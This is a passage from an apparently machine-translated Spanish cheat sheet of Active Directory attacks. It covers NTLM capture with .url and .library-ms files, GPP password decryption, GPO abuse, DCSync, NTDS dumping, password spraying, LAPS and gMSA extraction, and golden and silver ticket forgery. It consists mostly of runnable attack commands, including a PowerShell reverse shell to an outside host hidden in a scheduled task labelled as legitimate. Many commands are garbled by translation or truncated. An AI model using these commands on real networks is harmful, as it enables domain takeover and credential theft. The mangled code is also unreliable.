-u nombre de usuario -p contraseña -M slinky -o NOMBRE= SERVIDOR DE TRABAJO
```

Archivos URL

Este ataque también funciona con archivos .url y respondedor -I eth0 -v .

```
[Atajo a Internet]
URL = lo que sea
WorkingDirectory=lo que sea IconFile=\
\10.10.10.10\%USERNAME%.icon
Índice de iconos=1
```

Archivos de biblioteca de Windows

> Archivos de biblioteca de Windows (.library-ms)

```
<?xml versión="1.0" codificación="UTF-8"?>
<libraryDescription xmlns="<https://tinyurl.com/27fmkuxc">
    <nombre>@windows.storage.dll,-34582</nombre>
    <versión>6</versión>
    <isLibraryPinned>true</isLibraryPinned>
    <iconReference>imageres.dll,-1003</iconReference>
    <templateInfo>
        <tipocarpeta>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</tipocarpeta>
    </templateInfo>
    <searchConnectorDescriptionList>
        <searchConnectorDescription>
            <isDefaultSaveLocation>true</isDefaultSaveLocation>
            <isSupported>false</isSupported>
            <simpleLocation>
                <url>\\\\workstation@8888\\carpeta</url>
            </simpleLocation> </
        searchConnectorDescription> </
    searchConnectorDescriptionList> </
libraryDescription>
```

Archivos de conectores de búsqueda de Windows

> Conectores de búsqueda de Windows (.searchConnector-ms)

```
<?xml versión="1.0" codificación="UTF-8"?>
<searchConnectorDescription xmlns="<https://tinyurl.com/28kdzply">
        <iconReference>imageres.dll,-1002</iconReference>
        <descripción> Microsoft Outlook</description>
        <isSearchOnlyItem>false</isSearchOnlyItem>
        <includeInStartMenuScope>true</includeInStartMenuScope>
        <iconReference>\\\\workstation@8888\\folder.ico</iconReference> <templateInfo>

        <folderType>{91475FE5- 586B-4EBA-8D75-D17434B8CDF6}</folderType> </
        templateInfo>
        <simpleLocation>
            <url>\\\\workstation@8888\\folder</url> </
        simpleLocation> </
searchConnectorDescription>
```

Contraseñas en SYSVOL y preferencias de política de grupo

Encuentre la contraseña en SYSVOL (MS14-025). SYSVOL es el recurso compartido de todo el dominio en Active Directory al que todos los usuarios autenticados tienen acceso de lectura. Todas las políticas de grupo del dominio se almacenan aquí: \\ <DOMAIN>\SYSVOL\<DOMAIN>\Policies\ .

```
findtr /S /I ccontraseña \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Descifre una contraseña de política de grupo encontrada en SYSVOL (por 0x00C651E0), utilizando la clave AES de 32 bytes proporcionada por Microsoft en MSDN - 2.2.1.1.4 Cifrado de contraseña

```
echo 'contraseña_en_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb6

p.ej:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -a

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYd
```

Automatizar la búsqueda de SYSVOL y contraseñas

- Módulos de Metasploit para enumerar recursos compartidos y credenciales.

  ```
  escáner/smb/smb_enumshares publicación/
  windows/gather/enum_shares publicación/windows/
  gather/credentials/gpp
  ```

- Módulos CrackMapExec

  ```
  cme smb 10.10.10.10 -u Administrador -H 89[...]9d -M gpp_autologin cme smb 10.10.10.10 -u Administrador
  -H 89[...]9d -M gpp_password
  ```

- Obtener-GPPPcontraseña

  ```
  # con una sesión NULL Get-
  GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

  # con credenciales de texto sin cifrar Get-
  GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

  # pasar-el-hash Get-
  GPPPassword.py -hashes 'LMhash':'NThash' 'DOMINIO'/'USUARIO':'CONTRASEÑA'@'DOMINIO
  ```

Mitigaciones

- Instale KB2962486 en cada computadora utilizada para administrar GPO, lo que evita que se coloquen nuevas credenciales en las Preferencias de política de grupo.

- Elimine los archivos xml GPP existentes en SYSVOL que contengan contraseñas.
- No coloque contraseñas en archivos a los que puedan acceder todos los usuarios autenticados.

Explotar GPO de objetos de política de grupo

> A los creadores de un GPO se les conceden automáticamente configuraciones de edición explícitas, eliminación y modificación de seguridad, que se manifiestan como CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: Priorización de GPO: Unidad organizativa > Dominio > Sitio > Local

Los GPO se almacenan en el DC en \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\ , dentro de dos carpetas Usuario y Máquina. Si tiene derecho a editar el GPO, puede conectarse al DC y reemplazar los archivos. Las tareas planificadas se encuentran en Máquina\Preferencias\Tareas programadas .

:advertencia: Los miembros del dominio actualizan la configuración de la política de grupo cada 90 minutos con un intervalo aleatorio de 0 a 30 minutos, pero se puede forzar localmente con el siguiente comando: gpupdate /force .

Encuentra GPO vulnerable

Busca un GPLink donde tengas el derecho de Escritura.

```
Get-DomainObjectAcl -Identidad "SuperSecureGPO" -ResolveGUIDs | Donde-Objeto {($_.A
```

Abuso de GPO con SharpGPOAbuse

```
# Construya y configure SharpGPOAbuse $ git
clone https://tinyurl.com/2y2ql39c $ Install-Package
CommandLineParser -Version 1.9.3.15 $ ILMerge.exe /out:C:
\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C: \Liberar\Com

# Agregar derechos de
usuario \SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemote

# Agregar un administrador
local \SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable G

# Configuración de un script de inicio de sesión de usuario o
computadora .\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents

# Configuración de una computadora o tarea inmediata del usuario
# /!\ Diseñado para "ejecutarse una vez" por actualización de GPO, no ejecutarse una vez por sistema
```

```
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Actualizar" --Author DOMAIN\Admin --C .\SharpGPOAbuse.exe
--AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCA
```

Abuso de GPO con PowerGPOAbuse

- https://tinyurl.com/2betvxc9

```
PD> . .\PowerGPOAbuse.ps1

# Agregar un administrador local
PD> Agregar-LocalAdmin -Identidad 'Bobby' -GPOIdentidad 'SuperSecureGPO'

# Asignar un nuevo derecho
PS> Agregar-Derechos de usuario -Derechos "SeLoadDriverPrivilege","SeDebugPrivilege" -Identidad 'Bo

# Agregar un nuevo script de computadora/usuario
PS> Agregar-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Obtener

# Crea una tarea inmediata
PS> Agregar-GPOImmediateTask -TaskName 'eviltask' -Comando 'powershell.exe /c' -Comando
```

Abuso de GPO con pyGPOAbuse

```
$ git clon https://tinyurl.com/2c2fwrwz

# Agregue el usuario John al grupo de administradores locales (Contraseña: H4x00r123..)
./pygpoabuse.py DOMINIO/usuario -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-12345678

# Ejemplo de shell inverso
./pygpoabuse.py DOMINIO/usuario -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-12345678
    -powershell \
    -command "\$client = Nuevo-Objeto System.Net.Sockets.TCPClient('10.20.0.2',1234);
    -taskname "Tarea completamente legítima" \
    -descripción "Esto es legítimo, por favor no eliminar" \
    -usuario
```

Abuso de GPO con PowerView

```
# Enumerar GPO
Obtener-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Nombre $_.Nombre}

# New-GPOImmediateTask para llevar un stager Empire a las máquinas a través de VulnGPO
Nueva-GPOImmediateTask -TaskName Depuración -GPODisplayName VulnGPO -CommandArguments
```

Abuso de GPO con StandIn

```
# Agregar un administrador local
StandIn.exe --gpo --filter Shards --localadmin user002

# Establecer derechos personalizados
para un usuario StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,

# Ejecutar un comando
personalizado StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "RE
```

Vuelco de credenciales de dominio AD

Necesitará los siguientes archivos para extraer el ntds:

- Archivo NTDS.dit
- Colmena del SISTEMA (C:\Windows\System32\SYSTEM)

Generalmente puede encontrar los ntds en dos ubicaciones: systemroot\NTDS\ntds.dit y
raíz del sistema\System32\ntds.dit .

- systemroot\NTDS\ntds.dit almacena la base de datos que está en uso en un controlador de dominio. Contiene los valores para el dominio y una réplica de los valores para el bosque (los datos del contenedor de configuración).
- systemroot\System32\ntds.dit es la copia de distribución del directorio predeterminado que se utiliza cuando instala Active Directory en un servidor que ejecuta Windows Server 2003 o posterior para crear un controlador de dominio. Dado que este archivo está disponible, puede ejecutar el Asistente de instalación de Active Directory sin tener que utilizar el CD del sistema operativo del servidor.

Sin embargo, puede cambiar la ubicación a una personalizada; deberá consultar el registro para obtener la ubicación actual.

```
consulta de registro HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database f
```

Ataque de sincronización DC

DCSync es una técnica utilizada por los atacantes para obtener información confidencial, incluidos hashes de contraseñas, de un controlador de dominio en un entorno de Active Directory. Cualquier miembro de los administradores, administradores de dominio o administradores empresariales, así como la computadora controladora de dominio.

Las cuentas pueden ejecutar DCSync para extraer datos de contraseña.

- DCSync solo un usuario

```
mimikatz# lsadump::dcsync /dominio:htb.local /usuario:krbtgt
```

- DCSync todos los usuarios del dominio

```
mimikatz# lsadump::dcsync /dominio:htb.local /all /csv
```

```
crackmapexec smb 10.10.10.10 -u 'nombre de usuario' -p 'contraseña' --ntds
crackmapexec smb 10.10.10.10 -u 'nombre de usuario' -p 'contraseña' --ntds drsuapi
```

> :advertencia: NOTA DE OPSEC: La replicación siempre se realiza entre 2 computadoras. Realizar una DCSync desde una cuenta de usuario puede generar alertas.

Volumen sombra copia

VSS es un servicio de Windows que permite a los usuarios crear instantáneas o copias de seguridad de sus datos en un momento específico. Los atacantes pueden abusar de este servicio para acceder y copiar datos confidenciales, incluso si otro proceso los está utilizando o bloqueándolos actualmente.

- comandos-Windows/vssadmin

```
vssadmin crear sombra /for=C: copiar \
\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Sh copiar \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYS
```

- comandos-Windows/ntdsutil

```
ntdsutil "ac i ntds" "ifm" "crear c:\temp completo" qq
```

- Módulo CrackMapExec VSS

```
cme smb 10.10.0.202 -u nombre de usuario -p contraseña --ntds vss
```

Extraer hashes de ntds.dit

entonces necesitas usar secretsdump para extraer los hashes, usar las opciones LOCALES para usarlo en un recuperado ntds.dit

```
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretsdump también funciona de forma remota

```
./secretsdump.py -dc-ip IP AD\administrator@dominio -use-vss -pwd-last-set -user-sta ./secretsdump.py -hashes
aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6
```

- -pwd-last-set : muestra el atributo pwdLastSet para cada cuenta NTDS.DIT.
- -user-status : muestra si el usuario está deshabilitado o no.

Usando Mimikatz sekurlsa

Vuelca datos de credenciales en un dominio de Active Directory cuando se ejecuta en un controlador de dominio. :advertencia:
Requiere acceso de administrador con derechos de depuración o de SISTEMA local

```
sekurlsa::krbtgt
lsadump::lsa /inject /nombre:krbtgt
```

Crackear hashes NTLM con hashcat

Útil cuando desea tener la contraseña en texto claro o cuando necesita hacer estadísticas sobre contraseñas débiles.

Listas de palabras recomendadas:

- Rockyou.txt
- ¿Me han engañado?)
- Weakpass.com
- Lea más en Metodología y recursos/Hash Cracking.md

```
# Lista de palabras
básica # (-O) se optimizará para contraseñas de 32 caracteres o menos # (-w
4) establecerá la carga de trabajo en "Insane" $
hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r mi

# Generar una máscara personalizada basada en una lista
de palabras $ git clone https://tinyurl.com/27a5ykbk $
python2 statsgen.py ../hashcat.potfile -o hashcat.mask $ python2 maskgen.py
hashcat.mask --targettime 3600 - -optindex -q -o hashcat_1H.hcm
```

:advertencia: Si la contraseña no es un dato confidencial (desafíos/ctf), puede utilizar un "cracker" en línea como:

- hashmob.net
- crackstation.net
- hashes.com

Cifrado reversible NTDS

UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000080), si este bit está configurado, la contraseña para este usuario almacenado cifrado en el directorio, pero en forma reversible.

La clave utilizada para cifrar y descifrar es SYSKEY, que se almacena en el registro y puede ser extraído por un administrador de dominio. Esto significa que los hashes se pueden revertir trivialmente al texto sin cifrar. valores, de ahí el término "cifrado reversible".

- Listar usuarios con "Almacenar contraseñas usando cifrado reversible" habilitado

```
Get-ADUser -Filter 'userAccountControl -band 128' -Propiedades userAccountContro
```

La recuperación de contraseña ya la maneja SecureAuthCorp/secretsdump.py y mimikatz.
se mostrará como CLEARTEXT.

Búsqueda de usuarios

A veces es necesario encontrar una máquina en la que haya iniciado sesión un usuario específico.
Puede consultar de forma remota todas las máquinas de la red para obtener una lista de las sesiones de los usuarios.

- CrackMapExec

```
cme smb 10.10.10.0/24 -u Administrador -p 'P@ssw0rd' --sessions
SMB WIN-8OJFTLMUCTG 10.10.10.10 445 [+] Sesiones enumeradas
SMB WIN-8OJFTLMUCTG 10.10.10.10 445 \\10.10.10.10 Usar
```

- Impacto Smbclient

```
$ impacket-smbclient Administrador@10.10.10.10
# OMS
host: \\10.10.10.10, usuario: Administrador, activo: 1, inactivo: 0
```

- PowerView Invoke-UserHunter

```
# Buscar computadoras donde un administrador de dominio O un usuario específico tiene una sesión
Invocar-UserHunter
Invoke-UserHunter -Nombre de grupo "RDPUsers"
Invocar-UserHunter -Stealth
```

Pulverización de contraseñas

La pulverización de contraseñas se refiere al método de ataque que requiere una gran cantidad de nombres de usuario y los repite con una sola contraseña.

> La cuenta de administrador integrada (RID:500) no se puede bloquear del sistema sin importar cuántos intentos fallidos de inicio de sesión acumula.

La mayoría de las veces las mejores contraseñas para pulverizar son:

- P@ssw0rd01 , Contraseña123 , Contraseña1 , Hola123 , mimikatz
- Bienvenido1 / Bienvenido01
- $Nombre de la empresa1 : $Microsoft1
- TemporadaAño: Invierno 2019* , Primavera 2020. , ¿Verano2018? , ¡Verano2020 , julio2020!
- Contraseña AD predeterminada con mutaciones simples como el número 1, iteración de caracteres especiales (*,?,!,#)
- Contraseña vacía (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

Fuerza bruta previa a la autenticación de Kerberos

Usando kerbrute , una herramienta para realizar fuerza bruta previa a la autenticación de Kerberos.

> Los errores de autenticación previa de Kerberos no se registran en Active Directory con un inicio de sesión normal evento de falla (4625), sino más bien con registros específicos para la falla de autenticación previa de Kerberos (4771).

- nombre de usuario fuerza bruta

```
root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 us
```

- Fuerza bruta de contraseña

```
root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d dominio.local --dc 10.10.10.10
```

- spray de contraseña

```
root@kali:~$ ./kerbrute_linux_amd64 contraseñaspray -d domain.local --dc 10.10.10.
root@kali:~$ ./kerbrute_linux_amd64 contraseñaspray -d domain.local --dc 10.10.10.
root@kali:~$ ./kerbrute_linux_amd64 contraseñaspray -d domain.local --dc 10.10.10.
```

Rocíe una lista de contraseñas pregeneradas

- Usando crackmapexec y mp64 para generar contraseñas y rociarlas contra SMB servicios en la red.

```
crackmapexec smb 10.0.0.1/24 -u Administrador -p `(./mp64.bin Pass@wor?l?a)`
```

- Usar DomainPasswordSpray para rociar una contraseña a todos los usuarios de un dominio.

```
# https://tinyurl.com/2dgs7sa4
Invocar-DominioPasswordSpray -Password Summer2021!
# /!\ ¡Cuidado con el bloqueo de cuenta!
Invocar-DomainPasswordSpray -UserList usuarios.txt -Dominio nombre-dominio -PasswordList
```

- Usando SMBAutoBrute .

```
Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Contraseña
```

Rociar contraseñas contra el servicio RDP

- Uso de RDPassSpray para apuntar a servicios RDP.

```
clon de git https://tinyurl.com/y5b629nh
python3 RDPassSpray.py -u [NOMBRE DE USUARIO] -p [CONTRASEÑA] -d [DOMINIO] -t [IP OBJETIVO]
```

- Uso de Hydra y ncrack para apuntar a los servicios RDP.

```
hidra -t 1 -V -f -l administrador -P /usr/share/wordlists/rockyou.txt rdp://10.1
ncrack –límite-conexión 1 -vv --administrador de usuarios -P archivo-contraseña.txt rdp://
```

Atributo BadPwdCount

> La cantidad de veces que el usuario intentó iniciar sesión en la cuenta con una contraseña incorrecta. A El valor de 0 indica que el valor es desconocido.

```
$ crackmapexec ldap 10.0.2.11 -u 'nombre de usuario' -p 'contraseña' --kdcHost 10.0.2.11 --use
LDAP 10.0.2.11 badpwdcount: 0 pwdLastSet: badpwdcount: 0 pwdLastSet:
LDAP 10.0.2.11 389 dc01 Invitado
LDAP 10.0.2.11 389 dc01 krbtgt
```

Contraseña en comentario de usuario AD

```
$ crackmapexec ldap dominio.lab -u 'nombre de usuario' -p 'contraseña' -M usuario-desc
$ crackmapexec ldap 10.0.2.11 -u 'nombre de usuario' -p 'contraseña' --kdcHost 10.0.2.11 -M ge
```

```
OBTENER-DESC... 10.0.2.11       389     dc01    [+] Encontrados los siguientes usuarios:
OBTENER-DESC... 10.0.2.11       389     dc01    Usuario: Descripción del huésped: Cuenta incorporada
OBTENER-DESC... 10.0.2.11       389     dc01    Usuario: krbtgt descripción: Clave distribuida
```

Hay entre 3 y 4 campos que parecen ser comunes en la mayoría de los esquemas de AD: Contraseña de usuario , UsuarioUnixContraseña , unicodePwd y msSFU30Contraseña .

```
enum4linux | grep -i desc
```

```
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' Y deshabilitado
```

o volcar el Active Directory y recuperar el contenido.

```
ldapdomaindump -u 'DOMINIO\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documentos/AD_DUMP/
```

Contraseña de la cuenta de computadora creada previamente

Cuando se asigna la marca de verificación Asignar esta cuenta de computadora como una computadora anterior a Windows 2000 marcada, la contraseña de la cuenta de la computadora será la misma que la de la cuenta de la computadora en minúscula. Por ejemplo, la cuenta de computadora SERVERDEMO$ tendría la contraseña demostración del servidor.

```
# Crear una máquina con contraseña predeterminada
# debe ejecutarse desde un dispositivo unido al dominio conectado al dominio
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPW
```

- Cuando intente iniciar sesión con la credencial, debería recibir el siguiente código de error: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT .
- Entonces necesitas cambiar la contraseña con rpcchangepwd.py

Leyendo la contraseña de LAPS

> Utilice LAPS para administrar automáticamente las contraseñas de administrador local en el dominio unido computadoras para que las contraseñas sean únicas en cada computadora administrada, generadas aleatoriamente, y almacenado de forma segura en la infraestructura de Active Directory.

Determinar si LAPS está instalado

```
Get-ChildItem 'c:\ archivos de programa\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\ archivos de programa\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```

Extraer contraseña de LAPS

> "ms-mcs-AdmPwd", un atributo de computadora "confidencial" que almacena los LAPS en texto claro contraseña. Los atributos confidenciales solo pueden ser vistos por administradores de dominio de forma predeterminada, y a diferencia de otros atributos, los usuarios autenticados no pueden acceder a él

- Desde Windows:
  - adsisearcher (binario nativo en Windows 8+)

```
([adsisearcher]"(&(objectCategory=computadora)(ms-MCS-AdmPwd=*)(sAMAccountName=
([adsisearcher]"(&(objectCategory=computadora)(ms-MCS-AdmPwd=*)(sAMAccountName=
```

  - PowerView

```
PS > Importar módulo .\PowerView.ps1
PS > Get-DomainComputer COMPUTADORA -Propiedades ms-mcs-AdmPwd,ComputerName,ms-m
```

  - Kit de herramientas LAPS

```
$ Get-LAPSComputadoras
Nombre de la computadora Contraseña       Venció
------------             --------       -------
ejemplo.dominio.local    dbZu7;vGaI)Y6w1L 21/02

$ Buscar-LAPSDelegatedGroups
$ Find-AdmPwdExtendedRights
```

  - Powershell AdmPwd.PS

```
foreach ($objResult en $colResults){$objComputer = $objResult.Properties;
```

- Desde Linux:
  - pyLAPS para leer y escribir contraseñas LAPS:

```
# Leer la contraseña de todas las computadoras ./
pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' -- # Escribe una contraseña aleatoria
para una computadora específica ./pyLAPS.py --action set --
computer 'PC01$' -u 'Administrator' -d 'LAB.local
```

- CrackMapExec:

```
crackmapexec smb 10.10.10.10 -u 'usuario' -H '8846f7eaee8fb117ad06bdd830b7586c'
```

- Volcador de vuelta

```
python laps.py -u 'usuario' -p 'contraseña' -d 'dominio.local' python laps.py -u
'usuario' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb1
```

- ldapbúsqueda

```
ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=compu
```

Conceder acceso a LAPS

Los miembros del grupo "Operador de cuenta" pueden agregar y modificar todos los usuarios y grupos que no sean administradores. Dado que LAPS ADM y LAPS READ se consideran grupos que no son de administrador, es posible agregarles un usuario y leer la contraseña de administrador de LAPS.

```
Agregar-DomainGroupMember -Identidad 'LAPS ADM' -Miembros 'usuario1' -Credencial $cred -Doma
Agregar-DomainGroupMember -Identidad 'LAPS READ' -Miembros 'usuario1' -Credencial $cred -Dom
```

Lectura de la contraseña GMSA

> Las cuentas de usuario creadas para usarse como cuentas de servicio rara vez cambian su contraseña.
> Las cuentas de servicio administradas de grupo (GMSA) proporcionan un mejor enfoque (a partir del período de tiempo de Windows 2012). La contraseña es administrada por AD y rota automáticamente cada 30 días a una contraseña generada aleatoriamente de 256 bytes.

Atributos GMSA en Active Directory

- msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword): almacena las entidades principales de seguridad que pueden acceder a la contraseña de GMSA.

- msds-ManagedPassword : este atributo contiene un BLOB con información de contraseña para cuentas de servicios administradas por grupos.
- msDS-ManagedPasswordId : este atributo construido contiene el identificador de clave para los datos de contraseña administrada actual para un grupo MSA.
- msDS-ManagedPasswordInterval : este atributo se utiliza para recuperar el número de días antes de que se cambie automáticamente una contraseña administrada para un grupo MSA.

Extraiga el hash NT del Active Directory

- Lector de contraseñas GMSA (C#)

```
# https://tinyurl.com/2yt5mdu6
GMSAPasswordReader.exe --nombre de cuenta SVC_SERVICE_ACCOUNT
```

- gMSADumper (Python)

```
# https://tinyurl.com/27xutao6 python3
gMSADumper.py -u Usuario -p Contraseña1 -d dominio.local
```

- Directorio Activo Powershell

```
$gmsa = Get-ADServiceAccount -Identidad 'SVC_SERVICE_ACCOUNT' -Properties 'msDS $blob =
$gmsa.'msDS-ManagedPassword' $mp =
ConvertFrom-ADManagedPasswordBlob $blob $hash1 =
ConvertTo-NTHash -Contraseña $mp.SecureCurrentPassword
```

- gMSA_Permissions_Collection.ps1 basado en el módulo PowerShell de Active Directory

Forja GMSA Dorada

> Una diferencia notable entre un ataque Golden Ticket y el ataque Golden GMSA es
> que no hay forma de rotar el secreto de la clave raíz de KDS. Por lo tanto, si una clave raíz de KDS se ve
> comprometida, no hay forma de proteger los gMSA asociados a ella.

:advertencia: No puede "forzar el restablecimiento" de una contraseña de gMSA, porque la contraseña de gMSA nunca cambia. La contraseña se deriva de la clave raíz de KDS y
qué ManagedPasswordIntervalInDays es la de modo que cada controlador de dominio puede calcular en cualquier momento contraseña, cuál solía ser y cuál será en cualquier momento en el futuro.

- Usando GoldenGMSA

```
# Enumerar todos los gMSA
GoldenGMSA.exe gmsainfo #
Consultar un gMSA específico
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112

# Volcar todas las claves raíz de KDS
GoldenGMSA.exe kdsinfo # Volcar
una clave raíz de KDS específica GoldenGMSA.exe
kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb

# Calcular la contraseña de gMSA #
--sid <gMSA SID>: SID de gMSA (obligatorio) # --kdskey <blob codificado
en Base64>: Clave raíz de KDS codificado en Base64 # --pwdid <blob codificado en Base64>:
Base64 de msds -ManedPassWordID atributo valu Goldengmsa.exe Computy --sid S-1-5-21-1437000690-16664695696-15862958
# R Goldengmsa.exe Comput --kd Computadora GoldenGMSA.exe --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --
kd
```

Entradas Kerberos

Los tickets se utilizan para otorgar acceso a los recursos de la red. Un ticket es una estructura de datos que contiene información sobre la identidad del usuario, el servicio o recurso de red al que se accede y los permisos o privilegios asociados con ese recurso. Los tickets de Kerberos tienen una vida útil limitada y caducan después de un período de tiempo determinado, normalmente de 8 a 12 horas.

Hay dos tipos de tickets en Kerberos:

- Boleto de concesión de boletos (TGT): El TGT lo obtiene el usuario durante el proceso de autenticación inicial. Se utiliza para solicitar tickets de servicio adicionales sin necesidad de que el usuario vuelva a ingresar sus credenciales. El TGT contiene la identidad del usuario, una marca de tiempo y un cifrado de la clave secreta del usuario.
- Ticket de servicio (ST): El ticket de servicio se utiliza para acceder a un servicio o recurso de red específico. El usuario presenta el ticket de servicio al servicio o recurso, que luego utiliza el ticket para autenticar al usuario y otorgar acceso al recurso solicitado. El ticket de servicio contiene la identidad del usuario, una marca de tiempo y un cifrado de la clave secreta del servicio.

Entradas para volcar Kerberos

- Mimikatz: sekurlsa::tickets /exportación
- Rojo

```
# Listar entradas disponibles
```

Clasificación de Red.exe

```
# Volcar un ticket, la salida está en formato Kirbi Rubeus.exe
dump /luid:0x12d1f7
```

Repetir entradas de Kerberos

- Imitación: mimicking.exe "kerberos::ptcC:
  \temp\TGT_Administrator@lab.local.ccache"
- CrackMapExec: KRB5CCNAME=/tmp/administrator.ccache crackmapexec smb 10.10.10 -
  tu usuario --use-kcache

Convertir tickets de Kerberos

En el protocolo de autenticación Kerberos, ccache y kirbi son dos tipos de cachés de credenciales Kerberos que se utilizan para almacenar tickets de Kerberos.

- Una caché de credenciales, o "ccache", es un área de almacenamiento temporal para los tickets Kerberos que se obtienen durante el proceso de autenticación. El ccache contiene las credenciales de autenticación del usuario y se utiliza para acceder a los recursos de la red sin tener que volver a ingresar las credenciales del usuario para cada solicitud.

- El protocolo Kerberos Integrated Windows Authentication (KIWA) utilizado por los sistemas Microsoft Windows también utiliza una caché de credenciales llamada caché "kirbi" . El caché kirbi es similar al ccache utilizado por las implementaciones estándar de Kerberos, pero con algunas diferencias en la forma en que está estructurado y administrado.

Si bien ambas cachés tienen el mismo propósito básico de almacenar tickets de Kerberos para permitir un acceso eficiente a los recursos de la red, difieren en formato y estructura. Puedes convertirlos fácilmente usando:

- kekeo: misc::convertir ticket ccache.kirbi
- impacket: impacket-ticketConverter SRV01.kirbi SRV01.ccache

Boletos dorados Pass-the-Ticket

Forjar un TGT requiere:

- el hash NT krbtgt
- Desde hace poco, no podemos utilizar un nombre de cuenta inexistente como resultado de las mitigaciones CVE-2021-42287.

> La forma de forjar un Boleto Dorado es muy similar a la del Boleto Plateado. El principal

> Las diferencias son que, en este caso, no se debe especificar ningún SPN de servicio en ticketer.py y se debe utilizar el hash NT krbtgt.

Usando Mimikatz

```
# Obtener información - Mimetismo
lsadump::lsa /inject /nombre:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /usuario:krbtgt

# Forjar un billete dorado - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-20195 kerberos::tgt
```

Usando Meterpreter

```
# Obtener información - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forjar un billete dorado - Meterpreter load kiwi

golden_ticket_create -d <nombre de dominio> -k <nthashof krbtgt> -s <SID sin le RID> - golden_ticket_create -d
pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914 - kerberos_ticket_purge kerberos_ticket_use /root/
Downloads/pentestlabuser.tck
kerberos_ticket_list
```

Usando un ticket en Linux

```
# Convierte el ticket kirbi a ccache con kekeo misc::convert
ccache ticket.kirbi

# Alternativamente, puedes usar el ticketer de Impacket ./ticketer.py
-nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain Administrador DEV - ./ticketer.py -nthash
e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-3544013

exportar KRB5CCNAME=/home/user/ticket.ccache cat
$KRB5CCNAME
```

```
# NOTA: Es posible que deba comentar la configuración de proxy_dns en la configuración de proxychains ./psexec.py
-k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```

Si necesita intercambiar boletos entre Windows y Linux, debe convertirlos con ticket_converter o kekeo .

```
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velocira Convirtiendo ccache => kirbi
root@kali:ticket_converter$ python
ticket_converter.py velociraptor.kirbi velocirap Convirtiendo kirbi => ccache
```

Mitigaciones:

- Difíciles de detectar porque son billetes TGT legítimos
- Mimikatz genera un billete dorado con una vida útil de 10 años

Boletos de plata Pass-the-Ticket

La falsificación de un ticket de servicio (ST) requiere una contraseña (clave) de cuenta de máquina o un hash NT del servicio cuenta.

```
# Crear un ticket para el servicio mimikatz $
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /tar

# Ejemplos
que imitan a $ /kerberos::golden /domain:adsec.local /user:ANY /side:S-1-5-21-1423455951 imitan a $
kerberos::golden /domain:jurassic.park /side:S-1- 5-21-1339291983-13491291

# Luego sigue los mismos pasos que un ticket dorado
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache root@kali:/
tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168
